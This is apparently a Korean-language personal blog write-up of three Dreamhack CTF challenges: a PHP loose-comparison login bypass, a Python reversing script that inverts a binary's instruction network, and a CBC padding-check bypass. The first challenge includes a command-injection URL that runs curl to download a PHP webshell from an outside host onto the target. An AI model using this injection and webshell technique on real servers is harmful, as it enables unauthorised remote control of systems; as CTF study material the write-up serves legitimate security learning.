Security - Player/CTF

Dreamhack CTF Season 5 Round #1 Write-Up

PS리버싱마크해커박종휘TV 2024. 1. 6. 22:51

B, C, D 풀었다. (#10)

Figure II. Result

 

다들 엄청 잘한다.

 

B - Switching Command

 

할 것은 두 가지다. 첫 번째로, php의 '===' 연산자와 switch case 연산자의 비교가 다른 점을 이용하여 case "admin": 안으로 들어가야 한다.

 

php에서 '==='는 강한 비교, '=='는 약한 비교인데 switch case는 약한 비교이다. json에서는 true/false 타입을 지원하기 때문에 username에 true를 넣는다면 넘어갈 수 있다.

 

{"username":true}

 

다음으로 Command Injection을 하는데, 검열이 이렇다할 것이 없어서 curl의 -o 옵션을 사용하여 로컬 내에 웹쉘을 다운받고 실행하면 된다.

 

http://host3.dreamhack.games:9210/test.php?cmd=curl%20%22https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-simple-php-webshell.php%22%20-o%20hello.php

 

C - Function Network

 

바이너리를 분석하게 되면 입력받은 문자에 대해 10000개의 명령을 실행한다. 명령은 각각 (I, A, B)의 3개의 원소를 가진다. 각각 첫 함수를 시작으로 32개의 함수를 I에 의해 정하면서 돌게 되는데 마지막에 실행되는 함수는 4가지로 다음과 같다. 우리가 입력한 문자를 M이라고 할 때,

1. M[A]와 M[B]를 바꾼다.

2. M[A]를 M[A] + M[B]로, M[B]를 M[A]로 바꾼다.

3. M[A]를 M[A] - M[B]로, M[B]를 M[A]로 바꾼다.

4. M[A]를 M[A] XOR M[B]로, M[B]를 M[A]로 바꾼다.

 

여기서 dfs를 돌려서 그래프를 완성시킨 후 dfs로 각각의 연산에 대해 역연산을 적용하면 된다.

 

from pwn import u64, u32
import z3
from tqdm import tqdm

with open('./chal', 'rb') as f:
    filev = f.read()

insts_raw = filev[0xa020:0xa020+30000*8]

assert(len(insts_raw) % 8 == 0)

insts = []
for i in range(0, 30000*8, 3*8):
    real_inst = u64(insts_raw[i:i+8])
    src = u64(insts_raw[i+8:i+16])
    dst = u64(insts_raw[i+16:i+24])
    insts.append((real_inst, src, dst))

chks = set()
graph = {}

def dfs(node):
    if node == 0x6f4c or node == 0x6f8f or node == 0x6fd0 or node == 0x7017:
        return
    if node in chks:
        return
    assert(u32(filev[node:node+4]) == 0xfa1e0ff3)
    chks.add(node)
    assert(filev[node+0x3d] == 232)
    assert(filev[node+0x6a] == 232)
    assert(filev[node+0x97] == 232)
    assert(filev[node+0xb7] == 232)
    kl = [ 0x3d, 0x6a, 0x97, 0xb7 ]
    g = []
    for i in kl:
        jmpaddr = node + i + u32(filev[node+i+1:node+i+5]) + 5
        g.append(jmpaddr)
        dfs(jmpaddr)
    graph[node] = g

dfs(0x1209)
print(graph)

def SUB(a, b):
    return (a + 0x100 - b) % 0x100

def ADD(a, b):
    return (a + b) % 0x100


def dfs2(node, inst, a, b):
    if node == 0x6f4c:
        cmp_l[b] = SUB(cmp_l[a], cmp_l[b])
        cmp_l[a] = SUB(cmp_l[a], cmp_l[b])
    elif node == 0x6f8f:
        cmp_l[b] = cmp_l[a] ^ cmp_l[b]
        cmp_l[a] = cmp_l[a] ^ cmp_l[b]
    elif node == 0x6fd0:
        cmp_l[b] = SUB(cmp_l[b], cmp_l[a])
        cmp_l[a] = ADD(cmp_l[a], cmp_l[b])
    elif node == 0x7017:
        v = cmp_l[b]
        cmp_l[b] = cmp_l[a]
        cmp_l[a] = v
    else:
        dfs2(graph[node][inst & 3], inst >> 2, a, b)

cmp = """
EB A2 54 42 EF 6B 9A A7  B8 F7 FE 80 EC 89 0E AD
9F F6 E2 53 7C EB A7 B5  2A 7D E9 E9 7D ED 0C 4E
C0 52 66 25 B6 8E 87 D3  D9 A0 26 8D 6A 04 AF 66
1D 5D 57 6A B4 1F FB 6E  75 02 81 07 FC 40 B9 3B
"""

cmp = cmp.replace('\n', '').replace('\r', '').replace(' ', '')
cmp_l = []
for i in range(0, len(cmp), 2):
    cmp_l.append(int(cmp[i:i+2], 16))

for I, A, B in tqdm(reversed(insts)):
    dfs2(0x1209, I, A, B)

for i in cmp_l:
    print(chr(i), end='')

 

D - Front-Back Padding

 

패딩은 이렇게 입는 것이 아니다. 첫째 취약점은 다음에 있다.

 

if n1 + n2 < 16:
	return False, "wrong padding"

 

달리 말하면 n1 + n2가 16만 넘어도 된다. 따라서 마지막 전체를 happy_Amo_suffix로 맞추면 unpad의 검사를 무사히 우회할 수 있다. CBC의 특징을 조심하여 다음과 같이 payload를 구성하면 되다.

 

암호화된 플래그를 Ef, 'A'를 암호화한 문자열을 Ea라 할 때,

Ef + Ea

 

너무 간단해서 익스코드를 짤 필요도 없다.

 

Figure I. EZPZ

 

후기

 

처음 참여한 랭크 CTF이다. 전에도 몇 번 참가한 경험이 있었지만 이번이 공식적으로 열심히 한 CTF이다. 일어난 시각이 오후 1시라서 늦게 시작했다. CTF가 시작하기 전에 기상했다면 리버싱은 퍼블 땄을 듯.

 

시스템 해킹 문제는 무서워서 못 건드렸다..

'Security - Player > CTF' 카테고리의 다른 글

CCE Jr 1st  (1) 2024.09.14
Dreamhack Invitationals 후기  (1) 2024.05.28
osu!gaming CTF 2024 Reversing Write-Up  (0) 2024.03.04
LACTF 2024 - Write-Up  (0) 2024.02.19